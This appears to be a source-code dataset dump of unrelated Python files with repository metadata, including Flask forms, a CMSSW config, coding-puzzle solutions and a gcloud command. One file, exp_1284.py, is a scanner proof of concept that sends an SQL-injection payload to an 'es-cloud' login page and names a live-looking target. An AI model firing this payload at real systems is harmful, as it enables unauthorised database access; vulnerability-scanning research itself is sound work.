group_index[(i + 1) * group_len:] = i +1
return group_index.tolist()
period = 30
group_index = gen_item_group_index(len(data), period)
data['group_index'] = group_index
print data.head().append(data.tail())
# 为负表示先出现最高价再出现最低价,即下跌波动。
def _ceiling_price(prices):
return prices.idxmin() < prices.idxmax() and np.max(prices) or (-np.max(prices))
group = data.groupby('group_index').agg(
{'volume': 'sum',
'floor_price': 'min',
'ceiling_price': _ceiling_price})
print group.head()
date_col = pd.DataFrame({'group_index': group_index, 'date': new_idx})
print date_col
group['date'] = date_col.groupby('group_index').agg('first') # 为每个索引添加开始日期
print group.head()
group['ripples_ratio'] = group.ceiling_price / group.floor_price # 计算并添加波动率
print group.head()
print
# 波动率排序
ripples = group.sort_values('ripples_ratio', ascending = False)
print ripples
print ripples.head(10).ripples_ratio.mean()
print ripples.tail(10).ripples_ratio.mean()
print
# 计算涨跌幅
rise = data.closing_price.diff()
data['rise'] = rise
print data.head()
'''
| [
"[email protected]"
] | |
dbc38824605ba20ad7dd6526d5365665743b0103 | 9d0195aa83cc594a8c61f334b90375961e62d4fe | /JTTest/SL7/CMSSW_10_2_15/src/dataRunA/nano3487.py | f097da7b74e2ca09b1b318c6763228fab0a33cb3 | [] | no_license | rsk146/CMS | 4e49592fc64f6438051544c5de18598db36ed985 | 5f8dab8c59ae556598b9747b52b88205fffc4dbe | refs/heads/master | 2022-12-01T03:57:12.126113 | 2020-08-04T03:29:27 | 2020-08-04T03:29:27 | 284,863,383 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,293 | py | # Auto generated configuration file
# using:
# Revision: 1.19
# Source: /local/reps/CMSSW/CMSSW/Configuration/Applications/python/ConfigBuilder.py,v
# with command line options: nanoAOD_jetToolbox_cff -s NANO --data --eventcontent NANOAOD --datatier NANOAOD --no_exec --conditions 102X_dataRun2_Sep2018Rereco_v1 --era Run2_2018,run2_nanoAOD_102Xv1 --customise_commands=process.add_(cms.Service('InitRootHandlers', EnableIMT = cms.untracked.bool(False))) --customise JMEAnalysis/JetToolbox/nanoAOD_jetToolbox_cff.nanoJTB_customizeMC --filein /users/h2/rsk146/JTTest/SL7/CMSSW_10_6_12/src/ttbarCutTest/dataReprocessing/0004A5E9-9F18-6B42-B31D-4206406CE423.root --fileout file:jetToolbox_nano_datatest.root
import FWCore.ParameterSet.Config as cms
from Configuration.StandardSequences.Eras import eras
process = cms.Process('NANO',eras.Run2_2018,eras.run2_nanoAOD_102Xv1)
# import of standard configurations
process.load('Configuration.StandardSequences.Services_cff')
process.load('SimGeneral.HepPDTESSource.pythiapdt_cfi')
process.load('FWCore.MessageService.MessageLogger_cfi')
process.load('Configuration.EventContent.EventContent_cff')
process.load('Configuration.StandardSequences.GeometryRecoDB_cff')
process.load('Configuration.StandardSequences.MagneticField_AutoFromDBCurrent_cff')
process.load('PhysicsTools.NanoAOD.nano_cff')
process.load('Configuration.StandardSequences.EndOfProcess_cff')
process.load('Configuration.StandardSequences.FrontierConditions_GlobalTag_cff')
process.maxEvents = cms.untracked.PSet(
input = cms.untracked.int32(-1)
)
# Input source
process.source = cms.Source("PoolSource",
fileNames = cms.untracked.vstring('file:root://cms-xrd-global.cern.ch//store/data/Run2018A/EGamma/MINIAOD/17Sep2018-v2/120000/A7EAA4B4-8E9E-6641-938A-824EA4A97B4D.root'),
secondaryFileNames = cms.untracked.vstring()
)
process.options = cms.untracked.PSet(
)
# Production Info
process.configurationMetadata = cms.untracked.PSet(
annotation = cms.untracked.string('nanoAOD_jetToolbox_cff nevts:1'),
name = cms.untracked.string('Applications'),
version = cms.untracked.string('$Revision: 1.19 $')
)
# Output definition
process.NANOAODoutput = cms.OutputModule("NanoAODOutputModule",
compressionAlgorithm = cms.untracked.string('LZMA'),
compressionLevel = cms.untracked.int32(9),
dataset = cms.untracked.PSet(
dataTier = cms.untracked.string('NANOAOD'),
filterName = cms.untracked.string('')
),
fileName = cms.untracked.string('file:jetToolbox_nano_datatest3487.root'),
outputCommands = process.NANOAODEventContent.outputCommands
)
# Additional output definition
# Other statements
from Configuration.AlCa.GlobalTag import GlobalTag
process.GlobalTag = GlobalTag(process.GlobalTag, '102X_dataRun2_Sep2018Rereco_v1', '')
# Path and EndPath definitions
process.nanoAOD_step = cms.Path(process.nanoSequence)
process.endjob_step = cms.EndPath(process.endOfProcess)
process.NANOAODoutput_step = cms.EndPath(process.NANOAODoutput)
# Schedule definition
process.schedule = cms.Schedule(process.nanoAOD_step,process.endjob_step,process.NANOAODoutput_step)
from PhysicsTools.PatAlgos.tools.helpers import associatePatAlgosToolsTask
associatePatAlgosToolsTask(process)
# customisation of the process.
# Automatic addition of the customisation function from PhysicsTools.NanoAOD.nano_cff
from PhysicsTools.NanoAOD.nano_cff import nanoAOD_customizeData
#call to customisation function nanoAOD_customizeData imported from PhysicsTools.NanoAOD.nano_cff
process = nanoAOD_customizeData(process)
# Automatic addition of the customisation function from JMEAnalysis.JetToolbox.nanoAOD_jetToolbox_cff
from JMEAnalysis.JetToolbox.nanoAOD_jetToolbox_cff import nanoJTB_customizeMC
#call to customisation function nanoJTB_customizeMC imported from JMEAnalysis.JetToolbox.nanoAOD_jetToolbox_cff
process = nanoJTB_customizeMC(process)
# End of customisation functions
# Customisation from command line
process.add_(cms.Service('InitRootHandlers', EnableIMT = cms.untracked.bool(False)))
# Add early deletion of temporary data products to reduce peak memory need
from Configuration.StandardSequences.earlyDeleteSettings_cff import customiseEarlyDelete
process = customiseEarlyDelete(process)
# End adding early deletion | [
"[email protected]"
] | |
4cd21e735decb89c8f8517e5a9d9ad37539c3fcb | c33afad644823bff35e616de90713ba0db50c152 | /xia2-attic/Applications/get_ccp4_commands.py | efef79c10fdb753c96a78144c97a0ca908db641a | [] | no_license | xia2/trashcan | fe58cc189cb167be6fdda131b8af04b6a126f114 | 05b2423823297b89e7dc1c5fb68285d1bfc8d48f | refs/heads/master | 2021-01-01T19:02:19.523868 | 2015-07-21T11:41:19 | 2015-07-21T11:41:19 | 39,441,400 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 944 | py | #!/usr/bin/env python
import sys
def get_ccp4_commands(lines_of_input):
'''Get the commands which were sent to a CCP4 program.'''
# first look through for hklin / hklout
logicals = { }
for line in lines_of_input:
if 'Logical Name:' in line:
token = line.split(':')[1].split()[0]
value = line.split(':')[-1].strip()
logicals[token] = value
# then look for standard input commands
script = []
for line in lines_of_input:
if 'Data line---' in line:
script.append(line.replace('Data line---', '').strip())
return script, logicals
if __name__ == '__main__':
if len(sys.argv) != 2:
raise RuntimeError, '%s ccp4_program.log' % sys.argv[0]
script, logicals = get_ccp4_commands(open(sys.argv[1], 'r').readlines())
for token in logicals.keys():
print token, logicals[token]
for line in script:
print line
| [
"[email protected]"
] | |
f9d1b1d94284348c99187c29166134746d461bcc | 960ca4512880cdfdc6daccde8d9271b611824ddb | /exps/vis/test.py | 17ccb9517f47b95b538e761d0c39a60b2036f54b | [
"MIT"
] | permissive | xiaoye77/NAS-Projects | f0b66207814fd1ee9e656678230eed5a491d7deb | db44e56fb6b756e03b3d04228fccb6b0fd1060c2 | refs/heads/master | 2020-12-04T03:53:36.442866 | 2020-01-02T05:49:16 | 2020-01-02T05:49:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,118 | py | # python ./exps/vis/test.py
import os, sys, random
from pathlib import Path
import torch
import numpy as np
from collections import OrderedDict
lib_dir = (Path(__file__).parent / '..' / '..' / 'lib').resolve()
if str(lib_dir) not in sys.path: sys.path.insert(0, str(lib_dir))
from graphviz import Digraph
def test_nas_api():
from nas_102_api import ArchResults
xdata = torch.load('/home/dxy/FOR-RELEASE/NAS-Projects/output/NAS-BENCH-102-4/simplifies/architectures/000157-FULL.pth')
for key in ['full', 'less']:
print ('\n------------------------- {:} -------------------------'.format(key))
archRes = ArchResults.create_from_state_dict(xdata[key])
print(archRes)
print(archRes.arch_idx_str())
print(archRes.get_dataset_names())
print(archRes.get_comput_costs('cifar10-valid'))
# get the metrics
print(archRes.get_metrics('cifar10-valid', 'x-valid', None, False))
print(archRes.get_metrics('cifar10-valid', 'x-valid', None, True))
print(archRes.query('cifar10-valid', 777))
OPS = ['skip-connect', 'conv-1x1', 'conv-3x3', 'pool-3x3']
COLORS = ['chartreuse' , 'cyan' , 'navyblue', 'chocolate1']
def plot(filename):
g = Digraph(
format='png',
edge_attr=dict(fontsize='20', fontname="times"),
node_attr=dict(style='filled', shape='rect', align='center', fontsize='20', height='0.5', width='0.5', penwidth='2', fontname="times"),
engine='dot')
g.body.extend(['rankdir=LR'])
steps = 5
for i in range(0, steps):
if i == 0:
g.node(str(i), fillcolor='darkseagreen2')
elif i+1 == steps:
g.node(str(i), fillcolor='palegoldenrod')
else: g.node(str(i), fillcolor='lightblue')
for i in range(1, steps):
for xin in range(i):
op_i = random.randint(0, len(OPS)-1)
#g.edge(str(xin), str(i), label=OPS[op_i], fillcolor=COLORS[op_i])
g.edge(str(xin), str(i), label=OPS[op_i], color=COLORS[op_i], fillcolor=COLORS[op_i])
#import pdb; pdb.set_trace()
g.render(filename, cleanup=True, view=False)
if __name__ == '__main__':
test_nas_api()
for i in range(200): plot('{:04d}'.format(i))
| [
"[email protected]"
] | |
e1f0e5d00a2ac00fd29fe1510687dbba7b48f35e | 4a8c1f7d9935609b780aff95c886ef7781967be0 | /atcoder/ABC/D/154_d.py | 43055970fa71c8d1fc0e279b10cfca40369c0986 | [] | no_license | recuraki/PythonJunkTest | d5e5f5957ac5dd0c539ef47759b1fe5ef7a2c52a | 2556c973d468a6988d307ce85c5f2f8ab15e759a | refs/heads/master | 2023-08-09T17:42:21.875768 | 2023-07-18T23:06:31 | 2023-07-18T23:06:31 | 13,790,016 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,613 | py | import sys
from io import StringIO
import unittest
import logging
logging.basicConfig(level=logging.DEBUG)
def resolve():
n, k = map(int, input().split())
dat = list(map(int, input().split()))
dat2 = []
m = -1
#print(dat[:k])
n = sum(dat[:k])
dat2.append(n)
m = n
mind = 0
for i in range(1, len(dat) - k ):
#print("in/out")
#print(dat[k+i])
#print(dat[i])
n += dat[k+i]
n -= dat[i]
dat2.append(n)
if n > m:
m = n
mind = i + 1
#print(dat2)
#print(m)
#print(mind)
r = 0
for i in range(mind, mind + k):
r += (dat[i] + 1) / 2
print(r)
class TestClass(unittest.TestCase):
def assertIO(self, input, output):
stdout, stdin = sys.stdout, sys.stdin
sys.stdout, sys.stdin = StringIO(), StringIO(input)
resolve()
sys.stdout.seek(0)
out = sys.stdout.read()[:-1]
sys.stdout, sys.stdin = stdout, stdin
self.assertEqual(out, output)
def test_input_1(self):
print("test_input_1")
input = """5 3
1 2 2 4 5"""
output = """7.000000000000"""
self.assertIO(input, output)
def test_input_2(self):
print("test_input_2")
input = """4 1
6 6 6 6"""
output = """3.500000000000"""
self.assertIO(input, output)
def test_input_3(self):
print("test_input_3")
input = """10 4
17 13 13 12 15 20 10 13 17 11"""
output = """32.000000000000"""
self.assertIO(input, output)
if __name__ == "__main__":
unittest.main() | [
"[email protected]"
] | |
678bbf0f3acbb639e8f26ad0eda2be449d96f08b | 29e4d393351c87741f069092eb8d0ab6f1221d6f | /venv/lib/python3.6/site-packages/Crypto/Cipher/_mode_openpgp.pyi | 14b810588d15c2c693b6b6580803aee05847cfe4 | [
"MIT"
] | permissive | masora1030/eigoyurusan | f0eb7d9761aa150379b558c13fc2477daf504417 | fa82044a2dc2f0f1f7454f5394e6d68fa923c289 | refs/heads/master | 2022-12-01T09:31:17.330620 | 2020-07-22T14:51:59 | 2020-07-22T14:51:59 | 279,682,018 | 11 | 2 | MIT | 2020-07-22T22:02:57 | 2020-07-14T20:03:45 | Python | UTF-8 | Python | false | false | 556 | pyi | from types import ModuleType
from typing import Union, Dict
Buffer = Union[bytes, bytearray, memoryview]
__all__ = ['OpenPgpMode']
class OpenPgpMode(object):
block_size: int
iv: Union[bytes, bytearray, memoryview]
IV: Union[bytes, bytearray, memoryview]
def __init__(self,
factory: ModuleType,
key: Buffer,
iv: Buffer,
cipher_params: Dict) -> None: ...
def encrypt(self, plaintext: Buffer) -> bytes: ...
def decrypt(self, plaintext: Buffer) -> bytes: ...
| [
"[email protected]"
] | |
8ab7dff45d69393de7c70aedebe150563e1b17ff | 7942342d457276bb266228d0236af647b3d55477 | /django/contrib/sites/managers.pyi | 465f1dc86cf24c0cc822bb976a68d2719d74eb2b | [
"MIT"
] | permissive | AsymmetricVentures/mypy-django | 847c4e521ce4dec9a10a1574f9c32b234dafd00b | f6e489f5cf5672ecede323132665ccc6306f50b8 | refs/heads/master | 2020-06-30T01:53:44.434394 | 2016-12-22T22:45:50 | 2016-12-22T22:45:50 | 74,397,884 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 417 | pyi | # Stubs for django.contrib.sites.managers (Python 3.6)
#
# NOTE: This dynamically typed stub was automatically generated by stubgen.
from typing import Any, Optional
from django.db import models
class CurrentSiteManager(models.Manager):
use_in_migrations = ... # type: bool
def __init__(self, field_name: Optional[Any] = ...) -> None: ...
def check(self, **kwargs): ...
def get_queryset(self): ...
| [
"[email protected]"
] | |
1220ca9448bfb849dd34483c850bc5f2d5ba6069 | 0f3411225b51d13fd418814c02d153493b06c1b9 | /app/admin/forms.py | 4202c752dcb6839eed82ea82954fec18498e84fd | [] | no_license | ChenxiiCheng/flask-movie | 9220decb79171281aa1348bd482f24fe1f2a3097 | 623ce5ba6c6379bed6b71adf321680e9cb5e6df3 | refs/heads/master | 2020-04-30T03:44:26.172855 | 2019-03-19T20:37:57 | 2019-03-19T20:37:57 | 176,594,138 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,029 | py | # coding:utf8
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField, FileField, TextAreaField, SelectField, SelectMultipleField
from wtforms.validators import DataRequired, ValidationError, EqualTo
from app.models import Admin, Tag, Auth, Role
tags = Tag.query.all()
auth_list = Auth.query.all()
role_list = Role.query.all()
class LoginForm(FlaskForm):
"管理员登录表单"
account = StringField(
label="账号",
validators=[
DataRequired("请输入账号")
],
description="账号",
render_kw={
"class": "form-control",
"placeholder": "请输入账号!",
# "required": "required"
},
)
pwd = PasswordField(
label="密码",
validators=[
DataRequired("请输入密码")
],
description="密码",
render_kw={
"class": "form-control",
"placeholder": "请输入密码",
# "required": "required"
},
)
submit = SubmitField(
label="登录",
render_kw={
"class": "btn btn-primary btn-block btn-flat",
}
)
def validate_account(self, field):
account = field.data
admin = Admin.query.filter_by(name=account).count()
if admin == 0:
raise ValidationError("账号不存在!")
class TagForm(FlaskForm):
name = StringField(
label="名称",
validators=[
DataRequired("请输入标签")
],
description="标签",
render_kw={
"class": "form-control",
"id": 'input_name',
"placeholder": "请输入标签名称!"
},
)
submit = SubmitField(
"编辑",
render_kw={
"class": "btn btn-primary",
}
)
class MovieForm(FlaskForm):
title = StringField(
label="片名",
validators=[
DataRequired("请输入片名!")
],
description="片名",
render_kw={
"class": "form-control",
"placeholder": "请输入片名!"
},
)
url = FileField(
label="文件",
validators=[
DataRequired("请上传文件!")
],
description="文件",
)
info = TextAreaField(
label="简介",
validators=[
DataRequired("请输入简介!")
],
description="简介",
render_kw={
"class": "form-control",
"row": 10
},
)
logo = FileField(
label="封面",
validators=[
DataRequired("请上传封面!")
],
description="封面",
)
star = SelectField(
label="星级",
validators=[
DataRequired("请选择星级!")
],
# star的数据类型
coerce=int,
choices=[(1, "1星"), (2, "2星"), (3, "3星"), (4, "4星"), (5, "5星")],
description="星级",
render_kw={
"class": "form-control",
}
)
tag_id = SelectField(
label="标签",
validators=[
DataRequired("请选择标签!")
],
coerce=int,
choices=[(v.id, v.name) for v in tags],
description="标签",
render_kw={
"class": "form-control",
},
)
area = StringField(
label="地区",
validators=[
DataRequired("请输入地区!")
],
description="地区",
render_kw={
"class": "form-control",
"placeholder": "请输入地区!"
},
)
length = StringField(
label="片长",
validators=[
DataRequired("请输入片长!")
],
description="片长",
render_kw={
"class": "form-control",
"placeholder": "请输入片长!"
},
)
release_time = StringField(
label="上映时间",
validators=[
DataRequired("请选择上映时间!")
],
description="上映时间",
render_kw={
"class": "form-control",
"placeholder": "请选择上映时间!",
"id": "input_release_time"
},
)
submit = SubmitField(
"编辑",
render_kw={
"class": "btn btn-primary",
}
)
class PreviewForm(FlaskForm):
title = StringField(
label="预告标题",
validators=[
DataRequired("请输入预告标题!")
],
description="预告标题",
render_kw={
"class": "form-control",
"placeholder": "请输入预告标题!"
},
)
logo = FileField(
label="预告封面",
validators=[
DataRequired("请上传预告封面!")
],
description="预告封面",
)
submit = SubmitField(
"编辑",
render_kw={
"class": "btn btn-primary",
}
)
class PwdForm(FlaskForm):
old_pwd = PasswordField(
label="旧密码",
validators=[
DataRequired("请输入旧密码!")
],
description="旧密码",
render_kw={
"class": "form-control",
"palceholder": "请输入旧密码!",
}
)
new_pwd = PasswordField(
label="新密码",
validators=[
DataRequired("请输入新密码!")
],
description="新密码",
render_kw={
"class": "form-control",
"palceholder": "请输入新密码!",
}
)
submit = SubmitField(
"编辑",
render_kw={
"class": "btn btn-primary",
}
)
def validate_old_pwd(self, field):
from flask import session
pwd = field.data
name = session["admin"]
admin = Admin.query.filter_by(
name=name
).first()
if not admin.check_pwd(pwd):
raise ValidationError("旧密码错误!")
class AuthForm(FlaskForm):
name = StringField(
label="权限名称",
validators=[
DataRequired("请输入权限名称!")
],
description="权限名称",
render_kw={
"class": "form-control",
"placeholder": "请输入权限名称!"
},
)
url = StringField(
label="权限地址",
validators=[
DataRequired("请输入权限地址!")
],
description="权限地址",
render_kw={
"class": "form-control",
"placeholder": "请输入权限地址!"
},
)
submit = SubmitField(
"编辑",
render_kw={
"class": "btn btn-primary",
}
)
class RoleForm(FlaskForm):
name = StringField(
label="角色名称",
validators=[
DataRequired("请输入角色名称!")
],
description="角色名称",
render_kw={
"class": "form-control",
"placeholder": "请输入角色名称!"
},
)
auths = SelectMultipleField(
label="权限列表",
validators=[
DataRequired("请选择权限列表!")
],
coerce=int,
choices=[(v.id, v.name) for v in auth_list],
description="权限列表",
render_kw={
"class": "form-control",
}
)
submit = SubmitField(
"编辑",
render_kw={
"class": "btn btn-primary",
}
)
class AdminForm(FlaskForm):
name = StringField(
label="管理员名称",
validators=[
DataRequired("请输入管理员名称!")
],
description="管理员名称",
render_kw={
"class": "form-control",
"placeholder": "请输入管理员名称!",
},
)
pwd = PasswordField(
label="管理员密码",
validators=[
DataRequired("请输入管理员密码!")
],
description="管理员密码",
render_kw={
"class": "form-control",
"placeholder": "请输入管理员密码!",
},
)
repwd = PasswordField(
label="管理员重复密码",
validators=[
DataRequired("请输入管理员重复密码"),
EqualTo('pwd', message="两次密码不一致!")
],
description="管理员重复密码",
render_kw={
"class": "form-control",
"placeholder": "请输入管理员重复密码",
},
)
role_id = SelectField(
label="所属角色",
coerce=int,
choices=[(v.id, v.name) for v in role_list],
render_kw={
"class": "form-control",
}
)
submit = SubmitField(
label="编辑",
render_kw={
"class": "btn btn-primary",
}
)
| [
"[email protected]"
] | |
01dd184374b0b82db5104e26148e92a0b14e6031 | d83fde3c891f44014f5339572dc72ebf62c38663 | /_bin/google-cloud-sdk/lib/surface/compute/interconnects/attachments/create.py | 36182101c61039ba02985a4cafd3b3b5d13f0b6c | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | gyaresu/dotfiles | 047cc3ca70f4b405ba272856c69ee491a79d2ebe | e5e533b3a081b42e9492b228f308f6833b670cfe | refs/heads/master | 2022-11-24T01:12:49.435037 | 2022-11-01T16:58:13 | 2022-11-01T16:58:13 | 17,139,657 | 1 | 1 | null | 2020-07-25T14:11:43 | 2014-02-24T14:59:59 | Python | UTF-8 | Python | false | false | 3,990 | py | # Copyright 2017 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Command for creating interconnects."""
from __future__ import absolute_import
from __future__ import unicode_literals
from googlecloudsdk.api_lib.compute import base_classes
from googlecloudsdk.api_lib.compute.interconnects.attachments import client
from googlecloudsdk.calliope import base
from googlecloudsdk.calliope import parser_errors
from googlecloudsdk.command_lib.compute import flags as compute_flags
from googlecloudsdk.command_lib.compute.interconnects import flags as interconnect_flags
from googlecloudsdk.command_lib.compute.interconnects.attachments import flags as attachment_flags
from googlecloudsdk.command_lib.compute.routers import flags as router_flags
_DEPRECATION_WARNING = """\
`create` is deprecated. Please use `gcloud compute interconnects attachments dedicated create` instead.
"""
_DEPRECATION_ERROR = """\
`create` has been removed. Please use `gcloud compute interconnects attachments dedicated create` instead.
"""
# TODO(b/79153388): Clean up this command flag after 3 months of deprecation.
@base.Deprecate(
is_removed=False, warning=_DEPRECATION_WARNING, error=_DEPRECATION_ERROR)
class Create(base.CreateCommand):
"""Create a Google Compute Engine interconnect attachment.
*{command}* is used to create interconnect attachments. An interconnect
attachment is what binds the underlying connectivity of an Interconnect to a
path into and out of the customer's cloud network.
"""
INTERCONNECT_ATTACHMENT_ARG = None
INTERCONNECT_ARG = None
ROUTER_ARG = None
@classmethod
def Args(cls, parser):
cls.INTERCONNECT_ARG = (
interconnect_flags.InterconnectArgumentForOtherResource(
'The interconnect for the interconnect attachment'))
cls.INTERCONNECT_ARG.AddArgument(parser)
cls.ROUTER_ARG = router_flags.RouterArgumentForOtherResources()
cls.ROUTER_ARG.AddArgument(parser)
cls.INTERCONNECT_ATTACHMENT_ARG = (
attachment_flags.InterconnectAttachmentArgument())
cls.INTERCONNECT_ATTACHMENT_ARG.AddArgument(parser, operation_type='create')
parser.add_argument(
'--description',
help='An optional, textual description for the '
'interconnect attachment.')
parser.display_info.AddCacheUpdater(
interconnect_flags.InterconnectsCompleter)
def Run(self, args):
holder = base_classes.ComputeApiHolder(self.ReleaseTrack())
attachment_ref = self.INTERCONNECT_ATTACHMENT_ARG.ResolveAsResource(
args,
holder.resources,
scope_lister=compute_flags.GetDefaultScopeLister(holder.client))
interconnect_attachment = client.InterconnectAttachment(
attachment_ref, compute_client=holder.client)
interconnect_ref = None
if args.interconnect is not None:
interconnect_ref = self.INTERCONNECT_ARG.ResolveAsResource(
args, holder.resources)
if args.router_region is None:
args.router_region = attachment_ref.region
if args.router_region != attachment_ref.region:
raise parser_errors.ArgumentException(
'router-region must be same as the attachment region.')
router_ref = None
if args.router is not None:
router_ref = self.ROUTER_ARG.ResolveAsResource(args, holder.resources)
return interconnect_attachment.Create(
description=args.description,
interconnect=interconnect_ref,
router=router_ref)
| [
"[email protected]"
] | |
c901c352d59c3fdf81e492c184b2a45cfa2bb28d | 43ff15a7989576712d0e51f0ed32e3a4510273c0 | /tools/pocs/bugscan/exp_1284.py | 1429903641e7e8e932e605922ac8a2efe0393840 | [] | no_license | v1cker/kekescan | f2b51d91a9d6496e2cdc767eb6a600171f513449 | 3daa1775648439ba9e0003a376f90b601820290e | refs/heads/master | 2020-09-19T16:26:56.522453 | 2017-06-15T02:55:24 | 2017-06-15T02:55:24 | 94,495,007 | 6 | 3 | null | null | null | null | UTF-8 | Python | false | false | 1,294 | py | # -*- coding: utf-8 -*-
from dummy import *
from miniCurl import Curl
curl = Curl()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#author:小光
#refer:http://www.wooyun.org/bugs/wooyun-2010-0107850
def assign(service, arg):
if service == "es-cloud":
return True, arg
def audit(arg):
payloads = ['Easy/Login.aspx','Easy/Login2.aspx']
postdata = {
payloads[0] : '__VIEWSTATE=/wEPDwUKMTMyNjA3OTI4OGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFC2xvZ2luc3VibWl0&txtHostName=%27%20and%20db_name%281%29%3E1--&txtUserName=&txtUserPwd=&loginsubmit.x=41&loginsubmit.y=25',
payloads[1] :'__VIEWSTATE=/wEPDwULLTEzNDYxNTQ5ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQtsb2dpbnN1Ym1pdA==&txtHostName1=&txtUserName1=&txtUserPwd1=&txtHostName=%27%20and%20db_name%281%29%3E1--&txtUserName=&txtUserPwd=&loginsubmit.x=108&loginsubmit.y=26'
}
for payload in payloads:
url = arg + payload
code, head, res, errcode1, _ = curl.curl2(url,postdata[payload])
if code == 500 and 'master' in res :
security_hole(arg+payload)
if __name__ == '__main__':
from dummy import *
audit(assign('es-cloud','http://leaders56.com/')[1]) | [
"[email protected]"
] | |
9eb74cca9dec2cbb7c5746ec54fe8569c56b695c | fdafd2ef8a26a3e9ee6a4016ec6272516d64168f | /zeta_python/2504.py | 72047ecde7f6205654a68ab7ecb7680a2175d6b7 | [] | no_license | yenru0/CodeObjecct | 322d669d9e70b7202e5e527cda27da0b1e8f273d | b9d5260b973d7435c089c49bc8867be5d2be4d85 | refs/heads/master | 2021-06-28T06:13:57.978205 | 2021-03-13T00:47:53 | 2021-03-13T00:47:53 | 221,762,665 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,041 | py | """
2504: 괄호의 값
문제:
4개의 기호 ‘(’, ‘)’, ‘[’, ‘]’를 이용해서 만들어지는 괄호열 중에서 올바른 괄호열이란 다음과 같이 정의된다.
1. 한 쌍의 괄호로만 이루어진 ‘()’와 ‘[]’는 올바른 괄호열이다.
2. 만일 X가 올바른 괄호열이면 ‘(X)’이나 ‘[X]’도 모두 올바른 괄호열이 된다.
3. X와 Y 모두 올바른 괄호열이라면 이들을 결합한 XY도 올바른 괄호열이 된다.
예를 들어 ‘(()[[]])’나 ‘(())[][]’ 는 올바른 괄호열이지만 ‘([)]’ 나 ‘(()()[]’ 은 모두 올바른 괄호열이 아니다.
우리는 어떤 올바른 괄호열 X에 대하여 그 괄호열의 값(괄호값)을 아래와 같이 정의하고 값(X)로 표시한다.
1. ‘()’ 인 괄호열의 값은 2이다.
2. ‘[]’ 인 괄호열의 값은 3이다.
3. ‘(X)’ 의 괄호값은 2×값(X) 으로 계산된다.
4. ‘[X]’ 의 괄호값은 3×값(X) 으로 계산된다.
5. 올바른 괄호열 X와 Y가 결합된 XY의 괄호값은 값(XY)= 값(X)+값(Y) 로 계산된다.
예를 들어 ‘(()[[]])([])’ 의 괄호값을 구해보자. ‘()[[]]’ 의 괄호값이 2 + 3×3=11 이므로 ‘(()[[ ]])’의 괄호값은 2×11=22 이다.
그리고 ‘([])’의 값은 2×3=6 이므로 전체 괄호열의 값은 22 + 6 = 28 이다.
여러분이 풀어야 할 문제는 주어진 괄호열을 읽고 그 괄호값을 앞에서 정의한대로 계산하여 출력하는 것이다.
입력:
첫째 줄에 괄호열을 나타내는 문자열(스트링)이 주어진다. 단 그 길이는 1 이상, 30 이하이다.
출력:
첫째 줄에 그 괄호열의 값을 나타내는 정수를 출력한다. 만일 입력이 올바르지 못한 괄호열이면 반드시 0을 출력해야 한다.
"""
"""
TC1:
Input:
(()[[]])([])
Output:
28
"""
import re
Input = input()
par_regex = re.compile(r'\((.*?)\)')
t = par_regex.search(Input)
print(t.groups()) | [
"[email protected]"
] | |
2768b2bd81d98f303a1950346502deb08bbf3a06 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/91/usersdata/171/40784/submittedfiles/atividade.py | 1f8fc7bbe1e557ac228932d226cb5291316e6593 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 119 | py | # -*- coding: utf-8 -*-
n=int(input('digite numero:'))
contador=0
while n>0:
n//10
contador=contador+1
print(n) | [
"[email protected]"
] | |
8ddfbddd68a31c3d35868308a43e364033aab43e | 26f6313772161851b3b28b32a4f8d255499b3974 | /Python/PathCrossing.py | c22cf8f8b0dbf1ea31c2839c19c406d996aa76b8 | [] | no_license | here0009/LeetCode | 693e634a3096d929e5c842c5c5b989fa388e0fcd | f96a2273c6831a8035e1adacfa452f73c599ae16 | refs/heads/master | 2023-06-30T19:07:23.645941 | 2021-07-31T03:38:51 | 2021-07-31T03:38:51 | 266,287,834 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,294 | py | """
Given a string path, where path[i] = 'N', 'S', 'E' or 'W', each representing moving one unit north, south, east, or west, respectively. You start at the origin (0, 0) on a 2D plane and walk on the path specified by path.
Return True if the path crosses itself at any point, that is, if at any time you are on a location you've previously visited. Return False otherwise.
Example 1:
Input: path = "NES"
Output: false
Explanation: Notice that the path doesn't cross any point more than once.
Example 2:
Input: path = "NESWW"
Output: true
Explanation: Notice that the path visits the origin twice.
Constraints:
1 <= path.length <= 10^4
path will only consist of characters in {'N', 'S', 'E', 'W}
"""
class Solution:
def isPathCrossing(self, path: str) -> bool:
direction_dict = {'N':(0,1), 'S':(0,-1), 'E':(1,0), 'W':(-1,0)}
visited = set()
pos = [0, 0]
visited.add(tuple(pos))
for d in path:
di,dj = direction_dict[d]
pos[0], pos[1] = pos[0] + di, pos[1] + dj
t_pos = tuple(pos)
if t_pos in visited:
return True
visited.add(t_pos)
return False
S = Solution()
path = "NES"
print(S.isPathCrossing(path))
path = "NESWW"
print(S.isPathCrossing(path)) | [
"[email protected]"
] | |
